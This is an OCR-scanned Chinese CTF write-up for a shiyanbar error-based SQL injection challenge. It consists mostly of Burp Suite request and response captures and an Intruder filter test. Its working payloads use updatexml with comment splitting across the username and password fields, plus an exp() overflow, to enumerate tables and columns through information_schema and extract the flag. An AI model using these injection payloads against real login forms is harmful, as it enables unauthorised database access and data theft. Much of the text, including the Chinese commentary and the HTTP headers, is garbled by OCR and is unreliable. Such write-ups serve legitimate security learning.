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<center>tips:post username and password...</center>

<l--%sgl="select * from users where username='%username' and password='$password'";-->
body

</html>
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST fwebbaocuolindex.php HTTPA A A HTTPA .1 200 OK
Host: ctfS.shiyanbar.com Date: Mon, 04 Jun 2018 12:44:35 GMT
User-Agent: Mozilla/5 .0 (Windows NT 10.0; WOW84; rv:60.0) Geckos20100101 Firefox&0.0 Server: Apache/2 4 18 (Win32) OpenSSLA 0.2e PHR/S.329
Accept: texttml Vixchtml+xml xmlg=0.9q=0.8 ¥-Powered-By: PHP/S.3.29
Accept-Language: zh-CM zhq=0 & zh-TWg=0 7 zh-HI;q=0 5 en-US;q=0 3 emq=0.2 Contert-Length: 152
Accept-Encoding: gzip, deflate Connection: close

Referer: hitp://ctfS shiyanbar comwebbaocuoindex php Cortert-Type: textihtml
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Contert- | ype: application/x-www-torm-urlencaded
Contert-Length: 22
Cookie: Hm_lvt_34d6f7353ab091 Sadc 582451 Glfflc3=1527605645;

r>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
e right syntax to use near '2" at line 1

Hm_cv_34d&{7353ab091 Sa4c582e451 6dffbc3=1"visitor*1 01869%2CnickName%3AMask _
PHPSESSID=dkSal6v1 06mtsifEfalnkduos2

Connection: close
Upgrade-nsecure-Reqguests: 1
Pragma: no-cachs
Cache-Contral: no-cache

Isername: assword=2

ZEWR, BASEETLEN, BERERZSHEHITIE T, FHburpAintrudertBE i AN — T 2 RSBt ® T, F
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Intruder attack 4

Afttack Sawve Columns

e | = |3

T WO

_j Results T Target T Positions T Payloads TOptiDns ]

| Fiter: Showing all tems

Reguest Ll Payload | Status | Error | Timeout | Length | Comment
0 200 O O 374

1 200 O O 337

2 and 200 O O 337

3 or 200 O O 337

4 { 200 O O 27

5 ) 200 O O 27

g 0 200 ] O 270

7 : 200 O O 355

a8 union 200 O O 273

3 select 200 0] ]
10 extractvalue 200 O O 337

11 updatexm 200 O O 337

Request | Response
_[ Fth Params T Headers T Hex ]

POST fwebbaoscuoindex php HTTPA 1

Host: ctfs.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, rv.60.0) Gecko/20100101 Firefox/E0.0
Accept: text/html applicationfhtml+xml applicationimlg=0.9 ** g=0.8

Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Referer: hitp:/ictfs shiyanbar comfwebbaocuoindex php

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

Cookie: Hm_lvt_34d&f7353ab091 Sadcs82ed51 Gdffbe3=1527685645; Hm_cv_34d&f7353ab091 Sadc582e451 Bdffhe3=1 " visitor*1 01 869% 2CnickMName %3 AMask _;
PHPSESSID=clkSa0&yv1 DEmtsifEfalinkduoG2

Connection: close
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0 matches

unionZ I IE T/, =2 T
passwordth EAR £ RiXd, HE— SESER:

I Intruder attack 5

Attack Sawve Columns

J Results T Target I Positions I Payloads IOpﬂDns ]

| Fiter: Showing all tems

Reguest LlPaybﬂd |Status |Erru-r |T|mamrt |Length. |Cu-n1men.t
MK 200 O O 337

1 200 O O 337
I 2 and 200 O O 337

3 or 200 0l 1 337




4 ( 200 O ] 337
5 } 200 ] O 337
6 [0 200 0] o 337
7 : 200 )] O 357
RIE: union 200 O O 273
g select 200 ] O 337
10 extractvalue 200 O O 270
11 updatexml 200 O O 270
| [ [
:n—[ Fth Headers T Hex ]
] HTTPA .1 200 OK 'y
| Date: Mon, 04 Jun 2018 13:15:25 GMT P

| Server: Apache/2.4.18 (Win32) OpenSSLM .0.2e PHPIS.3.29
o X-Powered-By: PHP/S.3.29

o Content-Length: 133

'.: Connection: close

;: Content-Type: texthtml

H =br==center=<hZ=Login failled=h2==/center=
<L Zsqgi="zelect * from users where username=%username’ and password="%password™: —=

| - ¥

? = + = Type a search term 0 matches

L&, passwordZEHA O B, EREZloginfailedfHZ&username=F B2

POST fwebbaocuoindesx php HTTPA 1 'y HTTRA 1 200 OK

Host: ctfs.shivanbar.com - Date: Mon, 04 Jun 2018 13:18:26 GMT

User-Agent: Mozilla/s.0 (Aindows NT 10.0; WCVWES, rv:60.0) Gecko/20100101 Firefox/80.0 Server: Apache/2.4.18 (\Win32) OpenSSLA .0.2e PHP/S.3.29

Accept: text/html licationchtml+xml icationfml,g=0.9**g=0.8 ¥-Powered-By: PHP/S.3.29

Accept-Language: zh-CM zh;g=0.8 zh-TW,g=0.7 zh-HKg=0.5 en-US;q=0 3 eng=0.2 Content-Length: 67

Accept-Encoding: gzip, deflate Connection: close

Referer: hitp: fctfS shiyanbar comiwebbaocuoindex php Content-Type: text/html

Content-Type: lication/x-www-form-urlencoded

Cortert-Length: 22 <center style='colorred'=<h1=User name unknow error.</hl=<icerter=

Cookie: Hm_Ivt_34d6f7353ab091 Sadc5B2e451 Gdffbc3=1527685645;
Hm_cv_34d617353ab091 5adc582e4 51 Gaffhe3=1 visitor*101869% 2CnickMame%3AMask_;
PHPSESSID=dkSa08v1 DEmtsifEfalnkduoE2

Connection: close

Upgrade-Insecure-Reqguests: 1

Pragma: no-cache

Cache-Control. no-cache

user name unkwon error, A KA #fEliusernameFEBid €T O Mipassword®& B O , HEZFBK Rusername&F i3] PA
FRAPREE, Blilextractvalue, {HZpassword BT T RE L, BEMEREHE - TXHANFZBE T BEERIRHRKIFI A,
FrUA AR ZE A BNERRF:

BT R EFKEANRET

R4

username="' or updatexml/*&password=1*/(1,concat(0x7e, (select group_concat(table_name) from

information_schema.tables where table_schema regexp database()),0x7e),1) or '

POST iweb/baocuoindex php HTTPA 1 A HTTPA 1 200 OK

Host: ctfS shiyanbar.com 3 Date: Mon, 04 Jun 2018 13:44:37 GMT

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWWE4, rv.60.0) Gecko/20100101 Firefox#50.0 Server: Apachel2.4.18 (Win32) OpenSSLA .0 2e PHPS.3.29
Accept: text/html, lication/xhtml+xmi, ionfeml, g=0.9,**4=0.8 ¥-Powered-By: PHP/S.3.29

Accept-Language: zh-CN,zh; .8,z2h-TW,gq=0.7 zh-HK;g=0.5 en-US;g=0.3 en,q=0 2 Content-Length: 42

Accept-Encoding: gzip, deflate Connection: close

Referer: http:/ictfS shiyanbar comiweb/baocuofindsx php Content-Type: text/html

Cortent-Type: applicationfx-www-form-urlencoded

Content-Length: 168 <br=XPATH syntax error: "~ffll44jj,users-*

Cookie: Hm_Ivt_34d617353ab091 Sa4c582e4516dTfhc3=1527685645;
Hm_cv_34d6f7353ab091 Sadc582e451 Bdffbc3=1*visitor*101 869%2CnickName%3AMask _;
PHPSESSID=dkSal6v1 Démtsiféfainkduos2

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

username=" or updatexml*&password=1*i(1 concat(0x7e (select group_concm(tabla_name)lfrom information_schema tables
where table_schema regexp database()),0x7e) 1) or '




BB

username=" or updatexml/*&password=1*/(1,concat(0x7e, (select group_concat(column_name) from

information_schema.columns where table_schema regexp database() and table_name regexp

OX66666C6C34346a6a),0x7e),1) or '
3 BL PR3 I 1 6 it

YOST fwebbaocuofndex php HTTPA 1 A
Host ctfs shiyanbar com r
Jser-Agent: Mozilla/S .0 (Wincows NT 10.0; WOWE4; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html applicationfxhtml+xml applicationfxml,g=0.9,*/*g=0.8

Accept-Language: zh-CN,zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
\ccept-Encoding: gzip, deflate

teferer: http:iictfS shiyanbar com/web/baocuolindex php

lontert-Type: application/x-www-form-urlencoded

lontert-Length: 211

Zookie: Hm_lvt_34d6f7353ab091 5adc582e451 6dffbe3=1527685645;
dm_cv_34c6f7353ab0915a4c5682e451 Gdffbc3=1"vistor*101869%2CnickMame%3AMask
'HPSESSID=clk 5a06v1 06mtsiféfalnkducs2

‘onnection: close

Jpgrade-Insecure-Requests: 1

ragma: no-cache

ache-Control: no-cache

1sername="or updatexml*&password=1"1 concat{0x7e (select group_concat(column_name) from information_schema.columns
where table_schema regexp database() and table_name regexp UxEEEEEchﬁdWEaEa),Ux?e),1 Jor'

b
v

0 matches

@) @ @ @ =

ETRER:

username="' or updatexml/*&password=1*/(1,concat(0x7e, (select value from ffll44jj),0x7e),1) or '

ACCEPT-ENCOUING: GZIP, deTIste
Referer: hitp:ifctts.shiyanbar comiwebbaocuoindex.php

Content-Type: applicationf-www-form-urlencoded

Content-Length: 95

Cookie: Hm_vt_34d6f7353ab091 5a4c582e451 6affhe3=1527 685645,
Hm_cv_34d6f7353ab0915a4c582e4 51 6dffbe3=1"visitor*1 01869% 2CnickMame%3AMask_;
PHPSESSID=ckSal&v106mtsiféfainkduod2

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control no-cache

username='or updatexml*&password=1*1{1 concat(0x7e (select value from fll44fi) 0x7e) 1) or '|

8 3%flag: flag{errOr_b4sed_sqli_+_hpf}
HHHF F exp OIRAEIEN
HTHEANFTERNHEUWRESES, FrLmEE I Eexp()REl.

HTTR#1 1 200 OK

Date: Mon, 04 Jun 2015 134851 GMT

Server: Apache/2.4.18 (Win32) OpenSSLA.0.2e PHP/S.3.29
X-Powered-By: PHP/S5.3.29

Content-Length: 33

Connection: close

Content-Type: text/htm|

<br=XPATH syntax error: "~value~"

BEEE

LONNECTIon: close
Content-Type: textMtml

<br>XPATH syntax error: ~flag{err0r_bdsed_sqli_+_hpf}-'

B xexp()i HIREEEN, BIXHE: http:/drops.xmd5.com/static/drops/tips-8166.html

RMNEHE R HES:

username=11&passwo

or exp(~(select rom (select value from ff1144jj)x)) or

0 mati


http://drops.xmd5.com/static/drops/tips-8166.html

205T fwebbaccuofindex php HTTPA A

Host: ctf5.shivanbar.com

Jser-Agent: Mozilla/s 0 (Windows NT 10.0; WOWE4; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: texthtml applicationshtmi+xml applicati 09 4q=08

Accept-Language: zh-CN zh;g=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;4=0 3 eny=0 2
Accept-Encoding: gzip, deflate

Referer: http:jict 5 shiyanbar comiweb/baocuaindssx php

Contert-Type: applicationfx-www-form-urlencoded

Contert-Length: 83

Cookie: Hm_lvt_34d&f7353ab091 Sadc582e451 Bffbc3=1527685645;
Am_cv_34d6f7353ab091 Sa4c582e4516difhc3=1"visitor*1 01869%2CnickMame % 3AMask_;
PHPSESSID=clk5a06v1 06mtsiféTalnkduos2

Connection: close

Jparade-Insecure-Requests: 1

Jragma: no-cache

Cache-Cortrol: no-cache

Jsername=1|&password=1' or exp(~(select * from (select value from fﬂ\dau}xh or'

>

FLy

HTTR/1.1 200 OK

Date: Mon, 04 Jun 2018 14:00:04 GMT

Server: Apache/2 4.18 (Win32) OpenSSLA .0 2e PHPIS 3.29
¥-Powered-By: PHPIS 3 28

Content-Length: 95

Connection: close

Content-Type: text/iml

<br=DOUBLE value is out of range in "exp(~({select ‘flag{errdr_bdsed_sqli_+_hpf} from dual)))"
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